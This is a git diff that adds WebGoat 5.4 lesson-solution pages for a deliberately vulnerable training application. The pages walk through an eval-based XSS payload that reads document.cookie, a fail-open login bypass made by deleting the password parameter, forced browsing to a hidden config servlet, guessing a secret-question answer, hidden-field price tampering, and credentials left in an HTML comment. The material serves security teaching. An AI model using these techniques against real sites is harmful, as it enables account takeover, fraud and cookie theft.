+The value of the digit access code field is placed in the Javascript eval() function. This is the reason why your attack will not require the "<script>" tags.
+Enter: 123');alert(document.cookie);('
+The result on the server is:
+ eval('123');
+alert(document.cookie);
+('');
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Encoding.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Encoding.html
new file mode 100644
index 000000000..08375aab2
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Encoding.html
@@ -0,0 +1,22 @@
+
+
+
+
+Encoding Basics
+
+
+
+
Lesson Plan Title: How to Perform Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+Different encoding schemes can be used in web applications for different reasons.
+
+
+
General Goal(s):
+This lesson will familiarize the user with different encoding schemes.
+
+
+Solution:
+Enter the string "abc". In the List below you see the encoded value of the string. For rot13 encoding this is "nop". Now enter a string "a c" and have a look on the url encoding.
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication.html b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication.html
new file mode 100644
index 000000000..a6d9b7a47
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication.html
@@ -0,0 +1,741 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson Plan Title: How to Bypass a Fail Open
+Authentication Scheme
+
+
+
+
Concept / Topic To Teach: Abusing error handling.
+
+
+
+
This lesson presents
+the basics for understanding the "fail open" condition regarding
+authentication. The security term, "fail open" describes a behavior of a
+verification mechanism. This is when an error (i.e. unexpected exception)
+occurs during a verification method causing that method to evaluate to true.
+This is especially dangerous during login.
+
+
+
+
General Goal(s):
+
+
The user
+should be able to bypass the authentication check.
+
+
+
+
+
+
Figure 1 Lesson 19
+
+
+
+
Solution:
+
+
+
+
Enter user
+name webgoat and click "Login". Intercept the request with WebScarab.
+
+
+
+
+
+
Figure 2 Intercepted request
+
+
+
+
Click on the
+variable "Password" and click "Delete". Click "Accept changes".
+
+
+
+
+
+
Figure 3 Password variable is deleted
+
+
+
+
You are now
+"authenticated" as WebGoat.
+
+
+
+
+
+
Figure 4 Lesson 19 Completed
+
+
+
+
The problem
+is that the exception handler in the Java code is executing a catch block for successful
+authentication. The exception occurs because there is a NullPointer exception
+when reading out the password parameter.
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/filelist.xml
new file mode 100644
index 000000000..bdb35f85a
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/filelist.xml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image001.png
new file mode 100644
index 000000000..44e09369d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image003.png
new file mode 100644
index 000000000..1cf2cc012
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image005.png
new file mode 100644
index 000000000..9f5747a75
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image007.png
new file mode 100644
index 000000000..0845266c4
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image009.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image009.jpg
new file mode 100644
index 000000000..c871b0225
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image009.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image010.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image010.jpg
new file mode 100644
index 000000000..74cec6054
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image010.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image011.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image011.jpg
new file mode 100644
index 000000000..29defb100
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image011.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image012.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image012.jpg
new file mode 100644
index 000000000..09d5ac828
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/image012.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/FailOpenAuthentication_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing.html b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing.html
new file mode 100644
index 000000000..be8032dac
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing.html
@@ -0,0 +1,767 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform Forced Browsing Attacks.
+
+
+
+
Concept
+/ Topic To Teach:
+
+
How
+to Exploit Forced Browsing.
+
+
+
+
How
+the attacks works:
+
+
Forced
+browsing is a technique used by attackers to gain access to resources that are
+not referenced, but are nevertheless accessible. One technique is to manipulate
+the URL in the browser by deleting sections from the end until an unprotected
+directory is found
+
+
+
+
General
+Goal(s):
+
+
Your
+goal should be to try to guess the URL for the "config" interface.
+The "config" URL is only available to the maintenance personnel.
+The application doesn't check for horizontal privileges.
If you want to access a restricted page, you need to
+be able to guess the URI to access the page, for example /admin.
+
+
In this environment, WebGoat consists of different
+servlets that live in the WebGoat application. The main servlet is /attack,
+what could be the servlet for config?
+
+
+
+
Try to access config,
+configuration, conf, ….
+
+
+
+
+
+
Figure 2 No config
+
+
+
+
+
+
Figure 3 No configuration
+
+
+
+
+
+
Figure 4 Bingo for conf
+
+
+
+
This
+could be automated with a tool like Wikto 2.0
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/filelist.xml
new file mode 100644
index 000000000..6616ecc49
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/filelist.xml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image001.png
new file mode 100644
index 000000000..c9047d693
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image002.jpg
new file mode 100644
index 000000000..101e688a4
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image003.png
new file mode 100644
index 000000000..569dc0098
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image004.jpg
new file mode 100644
index 000000000..6fe272fa4
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image005.png
new file mode 100644
index 000000000..f2945e2b0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image006.jpg
new file mode 100644
index 000000000..7ec274b62
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image007.png
new file mode 100644
index 000000000..a001e7963
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image008.jpg
new file mode 100644
index 000000000..672f7af05
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForcedBrowsing_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword.html b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword.html
new file mode 100644
index 000000000..f32e4dd12
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword.html
@@ -0,0 +1,828 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Exploit the Forgot Password Page
+
+
+
+
Concept /
+Topic To Teach:
+
+
+
+
Web
+applications frequently provide their users the ability to retrieve a forgotten
+password. Unfortunately, many web applications fail to implement the mechanism
+properly. The information required to verify the identity of the user is often
+overly simplistic.
+
+
+
+
General
+Goal(s):
+
+
Users can
+retrieve their password if they can answer the secret question properly. There
+is no lock-out mechanism on this 'Forgot Password' page. Your username is
+'webgoat' and your favorite color is 'red'. The goal is to retrieve the
+password of another user.
+
+
+
+
Solution:
+
+
+
+
This lesson
+will show you how easy it is to guess a secret question and retrieve somebody
+else his password.
+
+
+
+
+
+
Figure 1 Lesson 10
+
+
+
+
When you
+enter the user name webgoat and then the answer "red" for your favorite color,
+you will get a password reminder, only not via e-mail.
+
+
+
+
+
+
Figure 2 Submit the answer red
+
+
+
+
+
+
Figure 3 Password reminder for user webgoat
+
+
+
+
The password
+for user webgoat is webgoat. This is a weak password policy, which is also a
+bad thing J
+
+
+
+
Now you need
+to guess the password for another user. The text tells you something about an
+"OWASP admin". So let’s try "admin" for a user name.
+
+
+
+
+
+
Figure 4 Is there a user admin?
+
+
+
+
This works.
+Now you need the guess some colors.
+
+
+
+
+
+
Figure 5 There is a user admin!
+
+
+
+
+
+
Try blue, red
+and green for example.
+
+
+
+
+
+
Figure 6 No blue
+
+
+
+
Blue is an
+incorrect response.
+
+
+
+
+
+
Figure 7 It's green!
+
+
+
+
Green is the
+correct answer and now you know the difficult password for user admin.
+
+
+
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/filelist.xml
new file mode 100644
index 000000000..ec8ce5b70
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/filelist.xml
@@ -0,0 +1,20 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image001.png
new file mode 100644
index 000000000..3e10c76d3
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image003.png
new file mode 100644
index 000000000..11a7001dc
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image005.png
new file mode 100644
index 000000000..033f2e8c8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image007.png
new file mode 100644
index 000000000..664c24a06
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image009.png
new file mode 100644
index 000000000..e0e2ffb7c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image011.png
new file mode 100644
index 000000000..4542c5240
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image013.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image013.png
new file mode 100644
index 000000000..f72055656
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image013.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image015.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image015.jpg
new file mode 100644
index 000000000..1f670723b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image015.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image016.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image016.jpg
new file mode 100644
index 000000000..6f8105ce7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image016.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image017.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image017.jpg
new file mode 100644
index 000000000..76540dad8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image017.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image018.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image018.jpg
new file mode 100644
index 000000000..76c23e5ea
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image018.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image019.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image019.jpg
new file mode 100644
index 000000000..fc38db81d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image019.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image020.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image020.jpg
new file mode 100644
index 000000000..c5a2f719f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image020.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image021.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image021.jpg
new file mode 100644
index 000000000..5798c0713
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/image021.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ForgotPassword_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering.html b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering.html
new file mode 100644
index 000000000..c5c3cf825
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering.html
@@ -0,0 +1,685 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Exploit Hidden Fields
+
+
+
+
Concept /
+Topic To Teach:
+
+
Developers
+will use hidden fields for tracking, login, pricing, etc.. information on a
+loaded page. While this is a convenient and easy mechanism for the developer,
+they often don't validate the information that is received from the hidden
+field. This lesson will teach the attacker to find and modify hidden fields to
+obtain a product for a price other than the price specified
+
+
+
+
General
+Goal(s):
+
+
The user
+should be able to exploit a hidden field to obtain a product at an incorrect
+price.
+
+
+
+
+
+
Figure 1 Lesson 4
+
+
+
+
Solution:
+
+
+
+
To change the
+hidden field you need to start your favorite HTTP Interceptor. You can use
+WebScarab from OWASP to intercept the request and change the hidden field.
+Configure your browser to use a local proxy. In Internet Explorer you can do
+this via "Tools" – "Internet Options" – "Connections" – "LAN Settings". You
+must define proxy "localhost" with port 8008.
+
+
+
+
+
+
Figure 2 Set local proxy in Internet Explorer
+
+
+
+
Start
+WebScarab
+
+
+
+
+
+
Figure 3 Intercept request with WebScarab
+
+
+
+
+
+
Figure 4 Change the Price variable to 1
+
+
+
+
+
+
Figure 5 Lesson 4 Completed
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/Thumbs.db b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/Thumbs.db
new file mode 100644
index 000000000..ccd50130d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/Thumbs.db differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/filelist.xml
new file mode 100644
index 000000000..a94e9430b
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/filelist.xml
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image001.png
new file mode 100644
index 000000000..3757d471d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image003.png
new file mode 100644
index 000000000..e3ba2d5cd
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image005.png
new file mode 100644
index 000000000..1f0d5ebef
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image007.png
new file mode 100644
index 000000000..a715a8db2
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image009.png
new file mode 100644
index 000000000..2914f15ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image011.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image011.jpg
new file mode 100644
index 000000000..06d8b5434
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image011.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image012.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image012.jpg
new file mode 100644
index 000000000..3be37d0cf
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image012.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image013.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image013.jpg
new file mode 100644
index 000000000..7feef4395
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image013.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image014.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image014.jpg
new file mode 100644
index 000000000..6bbe14316
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image014.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image015.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image015.jpg
new file mode 100644
index 000000000..02de6c5eb
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image015.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues.html b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues.html
new file mode 100644
index 000000000..dd907cfb0
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues.html
@@ -0,0 +1,677 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Discover Clues in the HTML
+
+
+
+
Concept /
+Topic To Teach:
+
+
Developers
+are notorious for leaving statements like FIXME's, Code Broken, Hack, etc...
+inside the source code. Review the source code for any comments
+denoting passowrds, backdoors, or something doesn't work right.
+
+
+
+
General
+Goal(s):
+
+
The user
+should be able to bypass the authentication check.
+
+
+
+
+
+
Figure 1 Lesson 3
+
+
+
+
Right-click
+the page and select "View source"
+
+
+
+
Figure 2 View Source
+
+
+
+
Solution:
+
+
+
+
+
+
Examine the
+HTML source.
+
+
+
+
+
+
+
+
In the HTML
+source there is a comment that contains a user name admin and a password
+adminpw. Enter these values in WebGoat and click "Login"
+
+
+
+
+
+
Figure 3 Enter discovered credentials
+
+
+
+
+
+
Figure 4 Lesson 3 Completed
+
+
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/filelist.xml
new file mode 100644
index 000000000..b8f56a1ec
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/filelist.xml
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image001.png
new file mode 100644
index 000000000..16a985f95
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image003.png
new file mode 100644
index 000000000..6c3b652b2
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image005.png
new file mode 100644
index 000000000..baccb3c43
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image007.png
new file mode 100644
index 000000000..7fe1df7d1
